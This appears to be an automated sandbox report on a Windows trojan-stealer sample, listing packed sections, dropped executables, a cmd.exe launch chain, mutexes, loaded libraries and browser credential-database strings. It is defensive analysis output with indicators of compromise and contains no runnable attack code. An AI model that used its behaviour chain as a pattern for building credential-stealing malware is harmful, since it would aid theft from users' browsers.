Source: KKEBKJJDGH.exe.0.dr	Static PE information: Section: kcajosdi ZLIB complexity 0.9943970017899761
Source: explortu.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9981702867445055
Source: explortu.exe.8.dr	Static PE information: Section: kcajosdi ZLIB complexity 0.9943970017899761
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9935302734375
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9896240234375
Source: 3eb62d09c2.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: 3eb62d09c2.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9935302734375
Source: 3eb62d09c2.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9896240234375

Source: explortu.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KKEBKJJDGH.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: amadka[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/30@0/3

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C827030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C827030

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6912:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

File created: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: EZrw1nNIpG.exe, 00000000.00000003.2247294432.0000000022E94000.00000004.00000020.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000003.2262587560.0000000022E88000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr, HCGCAAKJDHJJJJJKKKFB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: EZrw1nNIpG.exe, 00000000.00000002.2417526621.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: EZrw1nNIpG.exe	ReversingLabs: Detection: 50%
Source: EZrw1nNIpG.exe	Virustotal: Detection: 54%

Source: KKEBKJJDGH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

File read: C:\Users\user\Desktop\EZrw1nNIpG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\EZrw1nNIpG.exe "C:\Users\user\Desktop\EZrw1nNIpG.exe"
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJJJKFIIIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe "C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe "C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe"	Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: slc.dll	Jump to behavior
